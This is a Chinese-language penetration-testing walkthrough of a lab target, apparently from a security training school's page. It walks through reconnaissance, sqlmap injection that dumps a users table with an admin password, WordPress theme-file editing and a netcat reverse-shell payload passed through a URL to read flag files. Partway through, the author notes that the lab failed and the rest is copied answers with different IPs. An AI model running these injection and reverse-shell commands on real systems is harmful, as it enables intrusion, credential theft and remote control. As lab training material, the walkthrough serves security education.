揭秘渗透测试:渗透测试包括哪些?

在网络安全领域,渗透测试扮演着至关重要的角色。它是对计算机系统、网络或应用程序进行的一种安全评估方法,旨在发现潜在的安全漏洞和弱点。那么,渗透测试包括哪些关键步骤呢?
一、 信息收集
1、 网站页面
渗透测试包括哪些
2、 网站信息收集
(1) 中间件信息收集
渗透测试包括哪些
(2) 目录扫描
渗透测试包括哪些
 
Phpmayadmin页面
http://192.168.7.37/phpmyadmin/
phpadmin版本
渗透测试包括哪些
Phpadmin 目录泄露
渗透测试包括哪些
Phpmyadmin安装页面(可用来重新安装数据库)
http://192.168.7.37/phpmyadmin/setup/index.php?token=6e19331abb366138f2ff9b0e84100587
渗透测试包括哪些
Phpadmin sql文件泄露
可以看到相关数据库的结构
http://192.168.7.37/phpmyadmin/sql/
渗透测试包括哪些
通过御剑扫描发现登录界面,估计像是有sql注入漏洞
http://192.168.7.37/login.php
渗透测试包括哪些
 
3、 服务器信息收集
(1) Nmap扫描
渗透测试包括哪些
发现有8080端口开着,访问一波
渗透测试包括哪些
貌似是wordpress搭建的
到这里 靶场出问题了。。。。。以下是答案
3点击【Wordpress/】进行访问。进入该页面后发现8080端口搭建了WordPress平台。如下图所示
渗透测试包括哪些
在Terminal中输入“nikto –host http://192.168.200.116”对靶机进行扫描。得到登录界面。如下图所示。
渗透测试包括哪些
输入“sqlmap –u http://192.168.200.116/login.php --form --level 3”,利用SQLmap进行检测,遇到选项则点击【Enter】键进行跳过,发现存在注入点。如下图所示。
渗透测试包括哪些
 
渗透测试包括哪些
输入“sqlmap –u “http://192.168.200.116/login.php” --form --level 3 --dbs”。进行注入得到数据库名。如下图所示。
渗透测试包括哪些
 
得到数据库名wordpress8080。如下图所示。
渗透测试包括哪些
输入“sqlmap –u ‘http://192.168.200.116/login.php’ --forms –D wordpress8080 --risk=3 --level=3 --tables”查看wordpress8080数据库中的内容。如下图所示。
渗透测试包括哪些
查看users表中的内容 sqlmap -u http://192.168.200.116/login.php --form --level 3 -D wordpress8080 -T users --dump
用户名为:admin,密码为:SuperSecretPassword。 如下图所示。
渗透测试包括哪些
Terminal中输入“nikto –host http://192.168.200.116:8080/wordpress”对wordpress进行扫描,根据结果可知后台登录网址为“192.168.200.116:8080/wordpress/wp-login.php”。如下图所示。
渗透测试包括哪些
 
渗透测试包括哪些
在Iceweasel浏览器地址栏中输入“192.168.200.116:8080/wordpress/wp-login.php”进行访问。如下图所示。
渗透测试包括哪些
在【Username】中输入“admin”,在【Password】中输入“SuperSecretPassword”进行登录。如下图所示。
渗透测试包括哪些
进入后台点击【Appearance】中的【Editor】。如下图所示。
渗透测试包括哪些
对404.php进行修改,插入如下代码。如下图所示。
渗透测试包括哪些
在Terminal中输入“nc –l –vv –p 9999”利用netcat进行监听。如下图所示。
渗透测试包括哪些
在Iceweasel浏览器地址栏中输入“http://192.168.200.116:8080/wordpress/wp-content/themes/twentythirteen/404.php?cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i|nc 192.168.3.31 9999 >/tmp/f”进行访问。如下图所示。
渗透测试包括哪些
在Terminal中看到已经连接。如下图所示。
渗透测试包括哪些
输入“ls”,发现flag.txt。如下图所示。
渗透测试包括哪些
输入“cat flag.txt”查看flag.txt。如下图所示。
渗透测试包括哪些
输入“cd /”进入根目录并输入“ls”查看发现flag.txt。如下图所示。
渗透测试包括哪些
输入“cat flag.txt”查看flag.txt。如下图所示。
渗透测试包括哪些 

注:本文部分内容以及图片来源于网络,如网站发布的有关的信息侵犯到您的权益,请及时与我们取得联系删除



热门课程

免费试听

上课方式

开班时间

实战教学·项目驱动

开班计划中
  • 网络安全

    05月20日

  • 安全服务

    05月20日

  • 鸿蒙认证

    05月20日

24小时报名热线

177 1362 3990

预约试学